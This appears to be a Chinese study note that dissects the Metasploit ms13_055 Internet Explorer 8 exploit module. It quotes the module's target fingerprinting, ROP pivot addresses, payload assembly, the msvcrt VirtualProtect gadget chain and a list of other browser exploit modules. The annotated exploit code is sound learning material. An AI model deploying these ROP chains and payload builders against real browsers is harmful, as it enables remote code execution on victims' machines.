111   def get_payload(t)
112 if t['Rop'] == :msvcrt
113 print_status("Using msvcrt ROP")
114 esp_align = "\x81\xc4\x54\xf2\xff\xff"
115 rop_dll = 'msvcrt'
116 opts = {'target'=>'xp'}
117 else
118 print_status("Using JRE ROP")
119 esp_align = "\x81\xEC\xF0\xD8\xFF\xFF" # sub esp, -10000
120 rop_dll = 'java'
121 opts = {}
122 end

  

daniel@daniel-mint ~/ms13_055 $ echo "81 c4 54 f2 ff ff" | ascii2binary -b h -t uc | x86dis -e 0 -s inte
l00000000 81 C4 54 F2 FF FF add esp, 0xFFFFF254

  

daniel@daniel-mint ~/ms13_055 $ echo "81 ec f0 d8 ff ff" | ascii2binary -b h -t uc | x86dis -e 0 -s intel
00000000 81 EC F0 D8 FF FF sub esp, 0xFFFFD8F0

  

esp_align代表的汇编语句的作用是对齐esp,即栈指针。


 87   def get_target(agent)
88 return target if target.name != 'Automatic'
89
90 nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
91 ie = agent.scan(/MSIE (\d)/).flatten[0] || ''
92
93 ie_name = "IE #{ie}"
94
95 case nt
96 when '5.1'
97 os_name = 'Windows XP SP3'
98 when '6.1'
99 os_name = 'Windows 7'
100 end
101
102 targets.each do |t|
103 if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))
104 return t
105 end
106 end
107
108 nil
109 end

  

188   def on_request_uri(cli, request)
189 agent = request.headers['User-Agent']
190 t = get_target(agent)

  

当远程的网页客户端发出HTTP请求页面时,get_target会根据请求Header中的User-Agent信息来了解客户端操作系统以及浏览器的版本情况,然后根据预设的情况来

返回与版本相关的数据

 52       'Targets'        =>
53 [
54 [ 'Automatic', {} ],
55 [
56 'IE 8 on Windows XP SP3',
57 {
58 'Rop' => :msvcrt,
59 'Pivot' => 0x77c15ed5, # xchg eax, esp; ret
60 'Align' => 0x77c4d801 # add esp, 0x2c; ret
61 }
62 ],
63 [
64 'IE 8 on Windows 7',
65 {
66 'Rop' => :jre,
67 'Pivot' => 0x7c348b05, # xchg eax, esp; ret
68 'Align' => 0x7C3445F8 # add esp, 0x2c; ret
69 }
70 ]
71 ],

  

如果当前的系统不支持,就会返回404页面。


111   def get_payload(t)
112 if t['Rop'] == :msvcrt
113 print_status("Using msvcrt ROP")
114 esp_align = "\x81\xc4\x54\xf2\xff\xff"
115 rop_dll = 'msvcrt'
116 opts = {'target'=>'xp'}
117 else
118 print_status("Using JRE ROP")
119 esp_align = "\x81\xEC\xF0\xD8\xFF\xFF" # sub esp, -10000
120 rop_dll = 'java'
121 opts = {}
122 end
123
124 p = esp_align + payload.encoded + rand_text_alpha(12000)
125 generate_rop_payload(rop_dll, p, opts)
126 end

  

generate_rop_payload

 77   def generate_rop_payload(rop, payload, opts={})
78 nop = opts['nop'] || nil
79 badchars = opts['badchars'] || ''
80 pivot = opts['pivot'] || ''
81 target = opts['target'] || ''
82 base = opts['base'] || nil
83
84 rop = select_rop(rop, {'target'=>target, 'base'=>base})
85 # Replace the reserved words with actual gadgets
86 rop = rop.map {|e|
87 if e == :nop
88 sled = (nop) ? nop.generate_sled(4, badchars).unpack("V*")[0] : 0x90909090
89 elsif e == :junk
90 Rex::Text.rand_text(4, badchars).unpack("V")[0].to_i
91 elsif e == :size
92 payload.length
93 elsif e == :unsafe_negate_size
94 get_unsafe_size(payload.length)
95 elsif e == :safe_negate_size
96 get_safe_size(payload.length)
97 else
98 e
99 end
100 }.pack("V*")
101
102 raise RuntimeError, "No ROP chain generated successfully" if rop.empty?
103
104 return pivot + rop + payload
105 end

  

会从data目录下查找定义好的[module].xml的文件,然后将gadgets中的宏定义展开,然后与pivot + gadgets + payload返回。

  3 <rop>
4 <compatibility>
5 <target>WINDOWS XP SP2</target>
6 <target>WINDOWS XP SP3</target>
7 </compatibility>
8
9 <gadgets base="0x77c10000">
10 <gadget offset="0x0002b860">POP EAX # RETN</gadget>
11 <gadget value="safe_negate_size">0xFFFFFBFF -> ebx</gadget>
12 <gadget offset="0x0000be18">NEG EAX # POP EBP # RETN</gadget>
13 <gadget value="junk">JUNK</gadget>
14 <gadget offset="0x0001362c">POP EBX # RETN</gadget>
15 <gadget offset="0x0004d9bb">Writable location</gadget>
16 <gadget offset="0x0001e071">XCHG EAX, EBX # ADD BYTE [EAX], AL # RETN</gadget>
17 <gadget offset="0x00040d13">POP EDX # RETN</gadget>
18 <gadget value="0xFFFFFFC0">0xFFFFFFC0-> edx</gadget>
19 <gadget offset="0x00048fbc">XCHG EAX, EDX # RETN</gadget>
20 <gadget offset="0x0000be18">NEG EAX # POP EBX # RETN</gadget>
21 <gadget value="junk">JUNK</gadget>
22 <gadget offset="0x00048fbc">XCHG EAX, EDX # RETN</gadget>
23 <gadget offset="0x0002ee15">POP EBP # RETN</gadget>
24 <gadget offset="0x0002ee15">skip 4 bytes</gadget>
25 <gadget offset="0x0002eeef">POP ECX # RETN</gadget>
26 <gadget offset="0x0004d9bb">Writable location</gadget>
27 <gadget offset="0x0001a88c">POP EDI # RETN</gadget>
28 <gadget offset="0x00029f92">RETN (ROP NOP)</gadget>
29 <gadget offset="0x0002a184">POP ESI # RETN</gadget>
30 <gadget offset="0x0001aacc">JMP [EAX]</gadget>
31 <gadget offset="0x0002b860">POP EAX # RETN</gadget>
32 <gadget offset="0x00001120">ptr to VirtualProtect()</gadget>
33 <gadget offset="0x00002df9">PUSHAD # RETN</gadget>
34 <gadget offset="0x00025459">ptr to 'push esp # ret</gadget>
35 </gadgets>
36 </rop>

  


在查找Windows下Browser相关的ROP漏洞

daniel@daniel-mint ~/msf/metasploit-framework/modules/exploits/windows/browser $ grep generate_rop_payload *.rb -n
adobe_flash_mp4_cprt.rb:148: code = generate_rop_payload(rop_name, code, {'target'=>rop_target})
adobe_flash_otf_font.rb:100: p = generate_rop_payload('flash', payload.encoded, {'target'=>'11.3.300.257', 'pivot'=>pivot})
adobe_flash_otf_font.rb:110: p = generate_rop_payload('flash', payload.encoded, {'target'=>'11.3.300.265', 'pivot'=>pivot})
adobe_flash_otf_font.rb:120: p = generate_rop_payload('flash', payload.encoded, {'target'=>'11.3.300.268', 'pivot'=>pivot})
adobe_flash_otf_font.rb:130: p = generate_rop_payload('java', payload.encoded, {'pivot'=>pivot})
adobe_flashplayer_flash10o.rb:194: p = generate_rop_payload('java', payload.encoded)
adobe_flash_rtmp.rb:135: code << generate_rop_payload('msvcrt', p, {'target'=>'xp'})
adobe_toolbutton.rb:77: rop_10 = Rex::Text.to_unescape(generate_rop_payload('reader', '', { 'target' => '10' }))
adobe_toolbutton.rb:78: rop_11 = Rex::Text.to_unescape(generate_rop_payload('reader', '', { 'target' => '11' }))
aladdin_choosefilepath_bof.rb:147: p = generate_rop_payload('msvcrt', get_payload(cli, target_info), {'target'=>'xp'})
apple_quicktime_mime_type.rb:153: code = generate_rop_payload('msvcrt', payload.encoded, {'target'=>'xp'})
apple_quicktime_rdrf.rb:65: p = generate_rop_payload('msvcrt', alignment + payload.encoded, {'target'=>'xp'})
crystal_reports_printcontrol.rb:178: rop_payload = generate_rop_payload('java', code, {'pivot' => [t['Pivot']].pack("V")})
hp_loadrunner_writefilebinary.rb:207: rop_payload = fake_object + generate_rop_payload('java', code)#, {'pivot'=>stack_pivot})
ie_cbutton_uaf.rb:148: rop_payload = generate_rop_payload('msvcrt', msvcrt_align + code, {'target'=>'xp'})
ie_cbutton_uaf.rb:150: rop_payload = generate_rop_payload('msvcrt', msvcrt_align + code, {'target'=>'2003'})
ie_cbutton_uaf.rb:153: rop_payload = generate_rop_payload('java', java_align + code)
ie_cgenericelement_uaf.rb:126: rop_payload = generate_rop_payload('msvcrt', align+p, {'target'=>'xp'})
ie_cgenericelement_uaf.rb:128: rop_payload = generate_rop_payload('msvcrt', align+p, {'target'=>'2003'})
ie_cgenericelement_uaf.rb:136: rop_payload = generate_rop_payload('java', code)
ie_execcommand_uaf.rb:139: rop_payload = generate_rop_payload('msvcrt', code, {'pivot'=>stack_pivot, 'target'=>'xp'})
ie_execcommand_uaf.rb:158: rop_payload = generate_rop_payload('java', code, {'pivot'=>stack_pivot})
ie_setmousecapture_uaf.rb:98: rop = generate_rop_payload('hxds', code, { 'target'=>'2007' })
ie_setmousecapture_uaf.rb:112: rop = generate_rop_payload('hxds', code, { 'target'=>'2010' })
indusoft_issymbol_internationalseparator.rb:219: rop_payload = generate_rop_payload('msvcrt', code, {'pivot'=>stack_pivot, 'target'=>'xp'})
indusoft_issymbol_internationalseparator.rb:231: rop_payload = generate_rop_payload('java', code, {'pivot'=>stack_pivot})
inotes_dwa85w_bof.rb:204: rop_payload = generate_rop_payload('msvcrt', code, {'target'=>'xp'})#{'pivot'=>stack_pivot, 'target'=>'xp'})
mozilla_firefox_onreadystatechange.rb:108: code << generate_rop_payload('msvcrt', stack_pivot + payload.encoded, {'target'=>'xp'})
mozilla_firefox_xmlserializer.rb:110: code << generate_rop_payload('msvcrt', stack_pivot + payload.encoded, {'target'=>'xp'})
ms10_002_ie_object.rb:248: rop_payload = generate_rop_payload('msvcrt', p, {'target'=>'xp'})
ms10_002_ie_object.rb:250: rop_payload = generate_rop_payload('java', p)
ms11_050_mshtml_cobjectelement.rb:182: rop_payload = generate_rop_payload('java', p)
ms11_081_option.rb:137: rop_payload = generate_rop_payload('msvcrt', "", {'target'=>'xp'})
ms11_081_option.rb:144: rop_payload = generate_rop_payload('java', '')
ms12_004_midi.rb:519: generate_rop_payload('msvcrt', p, {'pivot'=>padding, 'target'=>'xp'})
ms12_037_same_id.rb:133: rop = generate_rop_payload('msvcrt', '', {'target'=>'xp', 'pivot'=>pivot})
ms12_037_same_id.rb:137: rop = generate_rop_payload('java', '', {'pivot'=>pivot})
ms13_009_ie_slayoutrun_uaf.rb:128: rop_payload = generate_rop_payload('msvcrt', "", {'target'=>'xp'})
ms13_037_svg_dashstyle.rb:218: rop_payload = generate_rop_payload('java', code, {'pivot'=>stack_pivot})
ms13_055_canchor.rb:125: generate_rop_payload(rop_dll, p, opts)
ms13_059_cflatmarkuppointer.rb:120: generate_rop_payload('java', code, {'pivot'=>stack_pivot})
ms13_069_caret.rb:97: p << generate_rop_payload('msvcrt', payload.encoded, {'target'=>'xp'})
ms13_080_cdisplaypointer.rb:157: rop_payload = generate_rop_payload('hxds', payload.encoded, {'target'=>'2007', 'pivot'=>pivot})
ms13_080_cdisplaypointer.rb:174: rop_payload = generate_rop_payload('hxds', payload.encoded, {'target'=>'2010', 'pivot'=>pivot})
ms13_080_cdisplaypointer.rb:186: rop_payload = generate_rop_payload('msvcrt', payload.encoded, {'target'=>'xp', 'pivot'=>pivot})
ms13_080_cdisplaypointer.rb:197: rop_payload = generate_rop_payload('java', payload.encoded, {'pivot'=>pivot})
ms13_090_cardspacesigninhelper.rb:108: rop_payload = generate_rop_payload('msvcrt', get_payload(cli, target_info), {'target'=>'xp', 'pivot' => stack_pivot})
ms14_012_textrange.rb:85: p = generate_rop_payload('hxds', payload.encoded, {'target'=>'2010', 'pivot'=>setup})
msxml_get_definition_code_exec.rb:189: rop = generate_rop_payload('msvcrt','',{'target'=>'xp', 'pivot'=>adjust})
msxml_get_definition_code_exec.rb:193: rop = generate_rop_payload('java','',{'pivot'=>adjust})
novell_groupwise_gwcls1_actvx.rb:207: rop_payload = generate_rop_payload('msvcrt', '', 'target'=>'xp') # Mapped at 0x0c0c07ea
novell_groupwise_gwcls1_actvx.rb:217: rop_payload = generate_rop_payload('java', '') # Mapped at 0x0c0c07ea
ntr_activex_check_bof.rb:270: rop_payload = generate_rop_payload('msvcrt', code, {'target'=>'xp'})
ntr_activex_check_bof.rb:274: rop_payload = generate_rop_payload('java', code)
quickr_qp2_bof.rb:202: rop_payload = generate_rop_payload('java', code)#, {'pivot'=>stack_pivot})
siemens_solid_edge_selistctrlx.rb:398: return generate_rop_payload('msvcrt', payload.encoded, {'pivot'=> fake_memory, 'target'=>'xp'})
vlc_amv.rb:143: code = generate_rop_payload('java', payload.encoded)

  

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